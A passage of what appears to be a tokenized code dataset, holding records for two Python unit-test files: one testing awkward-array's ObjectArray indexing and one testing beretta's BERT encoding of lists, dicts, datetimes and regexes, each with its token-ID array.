1371, 2433, 21891, 6554, 20228, 6554, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 16394, 742, 1134, 29922, 710, 29892, 2322, 29922, 12673, 29889, 12673, 29889, 3707, 2141, 710, 615, 603, 11702, 29979, 29995, 29885, 29995, 29881, 29995, 29950, 29995, 29924, 5783, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 24219, 1061, 29918, 2084, 742, 1134, 29922, 710, 29892, 2322, 2433, 742, 1371, 2433, 24219, 1061, 274, 29895, 415, 4516, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 28120, 29918, 2084, 742, 1134, 29922, 710, 29892, 2322, 2433, 742, 1371, 2433, 4299, 274, 29895, 415, 4516, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 26740, 29918, 2084, 742, 1134, 29922, 710, 29892, 2322, 2433, 6904, 2917, 29914, 558, 29885, 29918, 26740, 29889, 3126, 742, 1371, 2433, 26740, 4516, 1495, 13, 1678, 383, 4375, 10749, 29892, 903, 353, 13812, 29889, 5510, 29918, 5203, 29918, 5085, 580, 13, 1678, 736, 383, 4375, 10749, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 396, 4128, 13, 1678, 4036, 29889, 26776, 29898, 29896, 29906, 29941, 29946, 29897, 13, 1678, 6088, 353, 364, 261, 804, 261, 29918, 5510, 29918, 5085, 580, 13, 1678, 565, 6088, 29889, 26740, 29918, 2084, 29901, 13, 4706, 6088, 353, 2254, 29918, 5510, 29918, 3166, 29918, 3126, 29898, 5510, 29892, 6088, 29889, 26740, 29918, 2084, 29897, 13, 268, 13, 1678, 848, 29918, 842, 29918, 978, 353, 6088, 29889, 1272, 29918, 842, 29918, 978, 13, 1678, 19356, 29918, 3972, 353, 6088, 29889, 1272, 29918, 3972, 13, 1678, 1002, 29918, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 5014, 287, 29918, 3972, 29892, 525, 1272, 29889, 6112, 1495, 13, 1678, 4236, 29918, 2230, 29918, 2435, 353, 6088, 29889, 3317, 29918, 2230, 29918, 2435, 13, 1678, 2847, 29918, 661, 3946, 353, 6088, 29889, 11228, 29918, 661, 3946, 13, 1678, 565, 848, 29918, 842, 29918, 978, 1275, 525, 558, 29885, 29915, 322, 6088, 29889, 3317, 29918, 2230, 29918, 2435, 1405, 29871, 29941, 29900, 29901, 13, 4706, 4236, 29918, 2230, 29918, 2435, 353, 29871, 29941, 29900, 13, 1678, 1596, 29898, 5510, 29897, 13, 13, 13, 1678, 411, 1722, 29898, 6112, 29918, 3972, 29892, 525, 29878, 1495, 408, 285, 29901, 13, 4706, 1002, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 13, 1678, 954, 29918, 667, 29892, 954, 29918, 29883, 403, 29892, 954, 29918, 615, 29892, 8722, 29918, 29888, 1949, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 353, 1002, 1839, 667, 29918, 1949, 7464, 1002, 1839, 29883, 403, 29918, 1949, 7464, 320, 13, 4706, 1002, 1839, 615, 29918, 1949, 7464, 1002, 1839, 10185, 29918, 29888, 1949, 7464, 1002, 1839, 277, 29885, 29918, 29879, 862, 29918, 29888, 1949, 7464, 1002, 1839, 277, 29885, 29918, 21518, 29918, 29888, 1949, 2033, 13, 1678, 1596, 877, 1949, 310, 2944, 742, 954, 29918, 667, 29892, 525, 1949, 310, 1051, 742, 1002, 1839, 14968, 29918, 1949, 2033, 718, 1002, 1839, 791, 29918, 1949, 2033, 718, 1002, 1839, 1688, 29918, 1949, 7464, 13, 3986, 525, 10185, 954, 742, 8722, 29918, 29888, 1949, 29892, 525, 29879, 862, 954, 742, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 525, 21518, 954, 742, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29897, 13, 1678, 396, 7945, 29918, 1445, 29892, 659, 29918, 1445, 29892, 1243, 29918, 1445, 353, 282, 6321, 29889, 1359, 29898, 3150, 29898, 359, 29889, 2084, 29889, 7122, 29898, 5014, 287, 29918, 3972, 29892, 525, 1272, 29889, 1272, 5477, 525, 6050, 8785, 13, 1678, 396, 17761, 353, 282, 6321, 29889, 1359, 29898, 3150, 29898, 359, 29889, 2084, 29889, 7122, 29898, 5014, 287, 29918, 3972, 29892, 525, 7728, 5477, 525, 6050, 8785, 13, 1678, 396, 17761, 29961, 29900, 29962, 353, 518, 29896, 29872, 29899, 29953, 363, 474, 297, 3464, 29898, 3317, 29918, 2230, 29918, 2435, 4638, 13, 1678, 396, 8722, 353, 282, 6321, 29889, 1359, 29898, 3150, 29898, 359, 29889, 2084, 29889, 7122, 29898, 5014, 287, 29918, 3972, 29892, 525, 1792, 29889, 10185, 5477, 525, 6050, 8785, 13, 13, 1678, 396, 3386, 6694, 2066, 13, 1678, 7945, 29918, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 5014, 287, 29918, 3972, 29892, 2847, 29918, 661, 3946, 718, 15300, 1272, 29889, 14968, 1495, 13, 13, 1678, 565, 2897, 29889, 2084, 29889, 275, 1445, 29898, 14968, 29918, 3972, 1125, 13, 4706, 7945, 29918, 21513, 353, 282, 6321, 29889, 1359, 29898, 3150, 29898, 14968, 29918, 3972, 29892, 525, 6050, 8785, 13, 1678, 1683, 29901, 13, 4706, 7945, 29918, 21513, 353, 3386, 29918, 1761, 29898, 359, 29889, 2084, 29889, 7122, 29898, 5014, 287, 29918, 3972, 29892, 2847, 29918, 661, 3946, 718, 15300, 10003, 886, 29889, 14968, 5477, 4236, 29918, 2230, 29918, 2435, 29897, 13, 4706, 282, 6321, 29889, 15070, 29898, 14968, 29918, 21513, 29892, 1722, 29898, 14968, 29918, 3972, 29892, 525, 29893, 29890, 8785, 13, 13, 1678, 396, 3386, 1243, 2066, 13, 1678, 1243, 29918, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 5014, 287, 29918, 3972, 29892, 2847, 29918, 661, 3946, 718, 15300, 1272, 29889, 1688, 1495, 13, 1678, 565, 2897, 29889, 2084, 29889, 275, 1445, 29898, 1688, 29918, 3972, 1125, 13, 4706, 1243, 29918, 21513, 353, 282, 6321, 29889, 1359, 29898, 3150, 29898, 1688, 29918, 3972, 29892, 525, 6050, 8785, 13, 1678, 1683, 29901, 13, 4706, 1243, 29918, 21513, 353, 3386, 29918, 1761, 29898, 359, 29889, 2084, 29889, 7122, 29898, 5014, 287, 29918, 3972, 29892, 2847, 29918, 661, 3946, 718, 15300, 10003, 886, 29889, 1688, 5477, 4236, 29918, 2230, 29918, 2435, 29897, 13, 4706, 282, 6321, 29889, 15070, 29898, 1688, 29918, 21513, 29892, 1722, 29898, 1688, 29918, 3972, 29892, 525, 29893, 29890, 8785, 13, 13, 1678, 7945, 29898, 14968, 29918, 21513, 29892, 1243, 29918, 21513, 29892, 954, 29918, 615, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 8722, 29918, 29888, 1949, 29892, 6088, 29897, 13, 13, 13, 13, 13, 2 ]
tests/test_objects.py
pfackeldey/awkward-array
0
1617036
#!/usr/bin/env python # Copyright (c) 2019, IRIS-HEP # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import struct import unittest import numpy from awkward import * class Test(unittest.TestCase): def runTest(self): pass def test_object_nbytes(self): class Point(object): def __init__(self, array): self.x, self.y, self.z = array def __repr__(self): return "<Point {0} {1} {2}>".format(self.x, self.y, self.z) def __eq__(self, other): return isinstance(other, Point) and self.x == other.x and self.y == other.y and self.z == other.z assert isinstance(ObjectArray([[1.1, 2.2, 3.3], [4.4, 5.5, 6.6], [7.7, 8.8, 9.9]], Point).nbytes, int) def test_object_floats(self): class Point(object): def __init__(self, array): self.x, self.y, self.z = array def __repr__(self): return "<Point {0} {1} {2}>".format(self.x, self.y, self.z) def __eq__(self, other): return isinstance(other, Point) and self.x == other.x and self.y == other.y and self.z == other.z a = ObjectArray([[1.1, 2.2, 3.3], [4.4, 5.5, 6.6], [7.7, 8.8, 9.9]], Point) assert a[0] == Point([1.1, 2.2, 3.3]) assert a[1] == Point([4.4, 5.5, 6.6]) assert a[2] == Point([7.7, 8.8, 9.9]) assert a[:].tolist() == [Point([1.1, 2.2, 3.3]), Point([4.4, 5.5, 6.6]), Point([7.7, 8.8, 9.9])] assert a[::2].tolist() == [Point([1.1, 2.2, 3.3]), Point([7.7, 8.8, 9.9])] assert a[[True, False, True]].tolist() == [Point([1.1, 2.2, 3.3]), Point([7.7, 8.8, 9.9])] assert a[[2, 0]].tolist() == [Point([7.7, 8.8, 9.9]), Point([1.1, 2.2, 3.3])] def test_object_bytes(self): class Point(object): def __init__(self, bytes): self.x, self.y, self.z = struct.unpack("ddd", bytes) def __repr__(self): return "<Point {0} {1} {2}>".format(self.x, self.y, self.z) def __eq__(self, other): return isinstance(other, Point) and self.x == other.x and self.y == other.y and self.z == other.z a = ObjectArray(numpy.array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]).view("u1").reshape(-1, 24), Point) assert a[0] == Point(numpy.array([1.1, 2.2, 3.3]).tobytes()) assert a[1] == Point(numpy.array([4.4, 5.5, 6.6]).tobytes()) assert a[2] == Point(numpy.array([7.7, 8.8, 9.9]).tobytes()) assert a[:].tolist() == [Point(numpy.array([1.1, 2.2, 3.3]).tobytes()), Point(numpy.array([4.4, 5.5, 6.6]).tobytes()), Point(numpy.array([7.7, 8.8, 9.9]).tobytes())] assert a[::2].tolist() == [Point(numpy.array([1.1, 2.2, 3.3]).tobytes()), Point(numpy.array([7.7, 8.8, 9.9]).tobytes())] assert a[[True, False, True]].tolist() == [Point(numpy.array([1.1, 2.2, 3.3]).tobytes()), Point(numpy.array([7.7, 8.8, 9.9]).tobytes())] assert a[[2, 0]].tolist() == [Point(numpy.array([7.7, 8.8, 9.9]).tobytes()), Point(numpy.array([1.1, 2.2, 3.3]).tobytes())]
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 13, 13, 29937, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29929, 29892, 23292, 3235, 29899, 9606, 29925, 13, 29937, 2178, 10462, 21676, 29889, 13, 29937, 29871, 13, 29937, 4367, 391, 3224, 322, 671, 297, 2752, 322, 7581, 7190, 29892, 411, 470, 1728, 13, 29937, 21733, 29892, 526, 21905, 4944, 393, 278, 1494, 5855, 526, 1539, 29901, 13, 29937, 29871, 13, 29937, 334, 4367, 391, 3224, 29879, 310, 2752, 775, 1818, 11551, 278, 2038, 3509, 1266, 8369, 29892, 445, 13, 29937, 259, 1051, 310, 5855, 322, 278, 1494, 2313, 433, 4193, 29889, 13, 29937, 29871, 13, 29937, 334, 4367, 391, 3224, 29879, 297, 7581, 883, 1818, 18532, 278, 2038, 3509, 1266, 8369, 29892, 13, 29937, 259, 445, 1051, 310, 5855, 322, 278, 1494, 2313, 433, 4193, 297, 278, 5106, 13, 29937, 259, 322, 29914, 272, 916, 17279, 4944, 411, 278, 4978, 29889, 13, 29937, 29871, 13, 29937, 334, 2448, 2121, 278, 1024, 310, 278, 3509, 1266, 19464, 3643, 278, 2983, 310, 967, 13, 29937, 259, 17737, 29560, 1122, 367, 1304, 304, 1095, 272, 344, 470, 27391, 9316, 10723, 515, 13, 29937, 259, 445, 7047, 1728, 2702, 7536, 3971, 10751, 29889, 13, 29937, 29871, 13, 29937, 3446, 3235, 7791, 7818, 12982, 1525, 8519, 13756, 13044, 3352, 6770, 6093, 315, 4590, 29979, 22789, 3912, 379, 5607, 8032, 29903, 5300, 8707, 29911, 3960, 29933, 2692, 24125, 376, 3289, 8519, 29908, 13, 29937, 5300, 13764, 29979, 8528, 15094, 1799, 6323, 306, 3580, 5265, 3352, 399, 1718, 29934, 13566, 29059, 29892, 2672, 6154, 15789, 4214, 29892, 350, 2692, 6058, 27848, 3352, 7495, 29892, 6093, 13, 29937, 306, 3580, 5265, 3352, 399, 1718, 29934, 13566, 29059, 8079, 341, 1001, 3210, 13566, 2882, 6227, 11937, 5300, 383, 1806, 8186, 1799, 15842, 319, 349, 8322, 2965, 13309, 1718, 349, 4574, 13152, 1660, 319, 1525, 13, 29937, 28657, 13875, 8890, 29928, 29889, 2672, 11698, 382, 29963, 3919, 24972, 9818, 6093, 315, 4590, 29979, 22789, 3912, 379, 5607, 8032, 6323, 8707, 29911, 3960, 29933, 2692, 24125, 20700, 17705, 6181, 13, 29937, 15842, 13764, 29979, 22471, 26282, 29892, 2672, 4571, 26282, 29892, 2672, 29907, 1367, 3919, 1964, 29892, 317, 4162, 8426, 1964, 29892, 8528, 29923, 3580, 29931, 19926, 29892, 6323, 8707, 1660, 13356, 3919, 25758, 13, 29937, 21330, 1529, 1692, 29903, 313, 1177, 6154, 15789, 4214, 29892, 350, 2692, 6058, 27848, 3352, 7495, 29892, 13756, 29907, 11499, 13780, 8079, 27092, 1254, 1806, 26027, 21947, 29949, 8452, 6323, 13, 29937, 26996, 29963, 2965, 2890, 29936, 11247, 1799, 8079, 501, 1660, 29892, 360, 8254, 29892, 6323, 13756, 29943, 1806, 29903, 29936, 6323, 350, 3308, 8895, 1799, 2672, 4945, 29934, 4897, 29911, 2725, 29897, 29832, 8851, 5348, 13, 29937, 12766, 17171, 29928, 5300, 6732, 13764, 29979, 6093, 18929, 8079, 17705, 2882, 6227, 11937, 29892, 12317, 2544, 4448, 2672, 8707, 29911, 4717, 1783, 29892, 6850, 3960, 1783, 17705, 2882, 6227, 11937, 29892, 13, 29937, 6323, 323, 8476, 313, 1177, 6154, 15789, 4214, 405, 11787, 5265, 24647, 4741, 6323, 438, 29911, 4448, 22119, 1660, 29897, 9033, 3235, 4214, 2672, 13764, 29979, 399, 29909, 29979, 19474, 8079, 6093, 501, 1660, 13, 29937, 8079, 3446, 3235, 7791, 7818, 12982, 1525, 29892, 382, 29963, 1430, 10762, 11033, 18118, 1660, 29928, 8079, 6093, 21521, 1799, 8979, 6227, 11937, 8079, 20134, 3210, 21330, 1529, 1692, 29889, 13, 13, 5215, 2281, 13, 5215, 443, 27958, 13, 13, 5215, 12655, 13, 13, 3166, 13689, 1328, 1053, 334, 13, 13, 1990, 4321, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 1065, 3057, 29898, 1311, 1125, 13, 4706, 1209, 13, 13, 1678, 822, 1243, 29918, 3318, 29918, 29876, 13193, 29898, 1311, 1125, 13, 4706, 770, 8984, 29898, 3318, 1125, 13, 9651, 822, 4770, 2344, 12035, 1311, 29892, 1409, 1125, 13, 18884, 1583, 29889, 29916, 29892, 1583, 29889, 29891, 29892, 1583, 29889, 29920, 353, 1409, 13, 9651, 822, 4770, 276, 558, 12035, 1311, 1125, 13, 18884, 736, 9872, 5228, 426, 29900, 29913, 426, 29896, 29913, 426, 29906, 17428, 1642, 4830, 29898, 1311, 29889, 29916, 29892, 1583, 29889, 29891, 29892, 1583, 29889, 29920, 29897, 13, 9651, 822, 4770, 1837, 12035, 1311, 29892, 916, 1125, 13, 18884, 736, 338, 8758, 29898, 1228, 29892, 8984, 29897, 322, 1583, 29889, 29916, 1275, 916, 29889, 29916, 322, 1583, 29889, 29891, 1275, 916, 29889, 29891, 322, 1583, 29889, 29920, 1275, 916, 29889, 29920, 13, 13, 4706, 4974, 338, 8758, 29898, 2061, 2588, 4197, 29961, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 1402, 518, 29946, 29889, 29946, 29892, 29871, 29945, 29889, 29945, 29892, 29871, 29953, 29889, 29953, 1402, 518, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 20526, 8984, 467, 29876, 13193, 29892, 938, 29897, 13, 13, 1678, 822, 1243, 29918, 3318, 29918, 29888, 417, 1446, 29898, 1311, 1125, 13, 4706, 770, 8984, 29898, 3318, 1125, 13, 9651, 822, 4770, 2344, 12035, 1311, 29892, 1409, 1125, 13, 18884, 1583, 29889, 29916, 29892, 1583, 29889, 29891, 29892, 1583, 29889, 29920, 353, 1409, 13, 9651, 822, 4770, 276, 558, 12035, 1311, 1125, 13, 18884, 736, 9872, 5228, 426, 29900, 29913, 426, 29896, 29913, 426, 29906, 17428, 1642, 4830, 29898, 1311, 29889, 29916, 29892, 1583, 29889, 29891, 29892, 1583, 29889, 29920, 29897, 13, 9651, 822, 4770, 1837, 12035, 1311, 29892, 916, 1125, 13, 18884, 736, 338, 8758, 29898, 1228, 29892, 8984, 29897, 322, 1583, 29889, 29916, 1275, 916, 29889, 29916, 322, 1583, 29889, 29891, 1275, 916, 29889, 29891, 322, 1583, 29889, 29920, 1275, 916, 29889, 29920, 13, 13, 4706, 263, 353, 4669, 2588, 4197, 29961, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 1402, 518, 29946, 29889, 29946, 29892, 29871, 29945, 29889, 29945, 29892, 29871, 29953, 29889, 29953, 1402, 518, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 20526, 8984, 29897, 13, 4706, 4974, 263, 29961, 29900, 29962, 1275, 8984, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 2314, 13, 4706, 4974, 263, 29961, 29896, 29962, 1275, 8984, 4197, 29946, 29889, 29946, 29892, 29871, 29945, 29889, 29945, 29892, 29871, 29953, 29889, 29953, 2314, 13, 4706, 4974, 263, 29961, 29906, 29962, 1275, 8984, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 2314, 13, 4706, 4974, 263, 7503, 1822, 25027, 391, 580, 1275, 518, 5228, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 11724, 8984, 4197, 29946, 29889, 29946, 29892, 29871, 29945, 29889, 29945, 29892, 29871, 29953, 29889, 29953, 11724, 8984, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 2314, 29962, 13, 4706, 4974, 263, 29961, 1057, 29906, 1822, 25027, 391, 580, 1275, 518, 5228, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 11724, 8984, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 2314, 29962, 13, 4706, 4974, 263, 8999, 5574, 29892, 7700, 29892, 5852, 29962, 1822, 25027, 391, 580, 1275, 518, 5228, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 11724, 8984, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 2314, 29962, 13, 4706, 4974, 263, 8999, 29906, 29892, 29871, 29900, 29962, 1822, 25027, 391, 580, 1275, 518, 5228, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 11724, 8984, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 2314, 29962, 13, 13, 1678, 822, 1243, 29918, 3318, 29918, 13193, 29898, 1311, 1125, 13, 4706, 770, 8984, 29898, 3318, 1125, 13, 9651, 822, 4770, 2344, 12035, 1311, 29892, 6262, 1125, 13, 18884, 1583, 29889, 29916, 29892, 1583, 29889, 29891, 29892, 1583, 29889, 29920, 353, 2281, 29889, 348, 4058, 703, 1289, 29881, 613, 6262, 29897, 13, 9651, 822, 4770, 276, 558, 12035, 1311, 1125, 13, 18884, 736, 9872, 5228, 426, 29900, 29913, 426, 29896, 29913, 426, 29906, 17428, 1642, 4830, 29898, 1311, 29889, 29916, 29892, 1583, 29889, 29891, 29892, 1583, 29889, 29920, 29897, 13, 9651, 822, 4770, 1837, 12035, 1311, 29892, 916, 1125, 13, 18884, 736, 338, 8758, 29898, 1228, 29892, 8984, 29897, 322, 1583, 29889, 29916, 1275, 916, 29889, 29916, 322, 1583, 29889, 29891, 1275, 916, 29889, 29891, 322, 1583, 29889, 29920, 1275, 916, 29889, 29920, 13, 13, 4706, 263, 353, 4669, 2588, 29898, 23749, 29889, 2378, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 29892, 29871, 29946, 29889, 29946, 29892, 29871, 29945, 29889, 29945, 29892, 29871, 29953, 29889, 29953, 29892, 29871, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 14664, 1493, 703, 29884, 29896, 2564, 690, 14443, 6278, 29896, 29892, 29871, 29906, 29946, 511, 8984, 29897, 13, 4706, 4974, 263, 29961, 29900, 29962, 1275, 8984, 29898, 23749, 29889, 2378, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 14664, 517, 13193, 3101, 13, 4706, 4974, 263, 29961, 29896, 29962, 1275, 8984, 29898, 23749, 29889, 2378, 4197, 29946, 29889, 29946, 29892, 29871, 29945, 29889, 29945, 29892, 29871, 29953, 29889, 29953, 14664, 517, 13193, 3101, 13, 4706, 4974, 263, 29961, 29906, 29962, 1275, 8984, 29898, 23749, 29889, 2378, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 14664, 517, 13193, 3101, 13, 4706, 4974, 263, 7503, 1822, 25027, 391, 580, 1275, 518, 5228, 29898, 23749, 29889, 2378, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 14664, 517, 13193, 25739, 8984, 29898, 23749, 29889, 2378, 4197, 29946, 29889, 29946, 29892, 29871, 29945, 29889, 29945, 29892, 29871, 29953, 29889, 29953, 14664, 517, 13193, 25739, 8984, 29898, 23749, 29889, 2378, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 14664, 517, 13193, 3101, 29962, 13, 4706, 4974, 263, 29961, 1057, 29906, 1822, 25027, 391, 580, 1275, 518, 5228, 29898, 23749, 29889, 2378, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 14664, 517, 13193, 25739, 8984, 29898, 23749, 29889, 2378, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 14664, 517, 13193, 3101, 29962, 13, 4706, 4974, 263, 8999, 5574, 29892, 7700, 29892, 5852, 29962, 1822, 25027, 391, 580, 1275, 518, 5228, 29898, 23749, 29889, 2378, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 14664, 517, 13193, 25739, 8984, 29898, 23749, 29889, 2378, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 14664, 517, 13193, 3101, 29962, 13, 4706, 4974, 263, 8999, 29906, 29892, 29871, 29900, 29962, 1822, 25027, 391, 580, 1275, 518, 5228, 29898, 23749, 29889, 2378, 4197, 29955, 29889, 29955, 29892, 29871, 29947, 29889, 29947, 29892, 29871, 29929, 29889, 29929, 14664, 517, 13193, 25739, 8984, 29898, 23749, 29889, 2378, 4197, 29896, 29889, 29896, 29892, 29871, 29906, 29889, 29906, 29892, 29871, 29941, 29889, 29941, 14664, 517, 13193, 3101, 29962, 13, 2 ]
tests/test_encode.py
dveselov/beretta
2
147381
<reponame>dveselov/beretta import re import beretta import unittest import datetime class EncodeTestCase(unittest.TestCase): def test_encode_compressed(self): bytes = beretta.encode((':call', 'Module', 'function', []) * 4, compressed=6) self.assertTrue(bytes.startswith(b'\x83P')) def test_encode_tuple(self): bytes = beretta.encode((':call', 'Module', 'function', [True])) self.assertEqual(bytes, b'\x83h\x04d\x00\x04callm\x00\x00\x00' b'\x06Modulem\x00\x00\x00\x08functionl' b'\x00\x00\x00\x01h\x02d\x00\x04bertd' b'\x00\x04truej') def test_encode_list(self): bytes = beretta.encode([1, 2, False]) self.assertEqual(bytes, b'\x83l\x00\x00\x00\x03a\x01a\x02h\x02d' b'\x00\x04bertd\x00\x05falsej') def test_encode_empty_list(self): bytes = beretta.encode([]) self.assertEqual(bytes, b'\x83h\x02d\x00\x04bertd\x00\x03nil') def test_encode_true(self): bytes = beretta.encode(True) self.assertEqual(bytes, b'\x83h\x02d\x00\x04bertd\x00\x04true') def test_encode_false(self): bytes = beretta.encode(False) self.assertEqual(bytes, b'\x83h\x02d\x00\x04bertd\x00\x05false') def test_encode_none(self): bytes = beretta.encode(None) self.assertEqual(bytes, b'\x83h\x02d\x00\x04bertd\x00\tundefined') def test_encode_dict(self): bytes = beretta.encode({'key': 'value'}) self.assertEqual(bytes, b'\x83h\x03d\x00\x04bertd\x00\x04dictl' b'\x00\x00\x00\x01h\x02m\x00\x00\x00\x03' b'keym\x00\x00\x00\x05valuej') def test_encode_empty_dict(self): bytes = beretta.encode({}) self.assertEqual(bytes, b'\x83h\x03d\x00\x04bertd\x00\x04dictj') def test_encode_datetime(self): bytes = beretta.encode(datetime.datetime(2014, 2, 10, 6, 2, 51, 36215)) self.assertEqual(bytes, b'\x83h\x05d\x00\x04bertd\x00\x04timeb' b'\x00\x00\x05pb\x00\x00/\x8bb\x00\x00\x8dw') def test_encode_0(self): bytes = beretta.encode(0) self.assertEqual(bytes, b'\x83a\x00') def test_encode_1(self): bytes = beretta.encode(1) self.assertEqual(bytes, b'\x83a\x01') def test_encode_0_float(self): bytes = beretta.encode(0.0) self.assertEqual(bytes, b'\x83c0.00000000000000000000e+00\x00\x00\x00\x00\x00') def test_encode_regex(self): regex = re.compile('^(kitty)$', re.I|re.X) self.assertEqual(regex.pattern, '^(kitty)$') self.assertIn(regex.flags, (66, 98)) # python 2.x / 66, python 3.x / 98 bytes = beretta.encode(regex) self.assertEqual(bytes, b'\x83h\x04d\x00\x04bertd\x00\x05regexm\x00\x00\x00\t' b'^(kitty)$h\x02d\x00\x08extendedd\x00\x08caseless')
[ 1, 529, 276, 1112, 420, 29958, 29881, 1960, 295, 586, 29914, 495, 11300, 13, 5215, 337, 13, 5215, 7655, 11300, 13, 5215, 443, 27958, 13, 5215, 12865, 13, 13, 13, 1990, 1174, 401, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 510, 13120, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 877, 29901, 4804, 742, 525, 7355, 742, 525, 2220, 742, 518, 2314, 334, 29871, 29946, 29892, 419, 13120, 29922, 29953, 29897, 13, 1678, 1583, 29889, 9294, 5574, 29898, 13193, 29889, 27382, 2541, 29898, 29890, 12764, 29916, 29947, 29941, 29925, 8785, 13, 13, 29871, 822, 1243, 29918, 12508, 29918, 23583, 29898, 1311, 1125, 13, 1678, 6262, 353, 7655, 11300, 29889, 12508, 29898, 877, 29901, 4804, 742, 525, 7355, 742, 525, 2220, 742, 518, 5574, 12622, 13, 1678, 1583, 29889, 9294, 9843, 29898, 13193, 29892, 289, 12764, 29916, 29947, 29941, 29882, 29905, 29916, 29900, 29946, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 4804, 29885, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29915, 13, 462, 9651, 289, 12764, 29916, 29900, 29953, 7355, 29885, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29947, 2220, 29880, 29915, 13, 462, 9651, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29896, 29882, 29905, 29916, 29900, 29906, 29881, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29946, 495, 1594, 29915, 13, 